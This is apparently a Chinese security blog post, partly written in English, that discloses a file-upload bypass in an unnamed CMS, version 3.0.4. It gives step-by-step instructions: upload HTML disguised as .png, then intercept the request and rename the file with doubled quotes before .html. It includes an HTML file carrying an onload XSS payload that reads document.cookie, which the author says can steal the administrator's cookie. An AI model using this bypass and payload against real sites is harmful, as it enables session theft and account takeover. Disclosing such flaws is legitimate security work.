某cms奇怪的文件上传绕过漏洞

0x01
给老外写的时候用的英文(谷歌翻译的)
I installed the latest version of ***(这个东西比较敏感) CMS and found upload bypass in the system
In the latest version(3.0.4), the system forbids HTML suffix name upload, but now it can bypass it.

图片.png

图片.png

0x02
Vulnerability proof

You can bypass the file upload limit by putting double quotes before the suffix of HTML

1 Visit website http://[address]:[port]/[app_path]/admin/index.php?id=filesmanager with login

2 Save html codes with '.png’extensions. and upload it like below.

<html> 
    <head> 
	    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>hacker</title> 
    </head> 
    <body> 
     <svg/onload=alert(document.cookie)>
    </body> 
</html>

图片.png

Click the uploaded file and Grab the packet and change the suffix name to XXX"".html at filename,This circumvents this limitation.

图片.png

图片.png

4 move to http://[address]:[port]/[app_path]/public/uploads/[uploaded file]

You can see that you executed HTML and JS code,If you access this file, you can get the administrator’s cookie and execute any JS code

图片.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值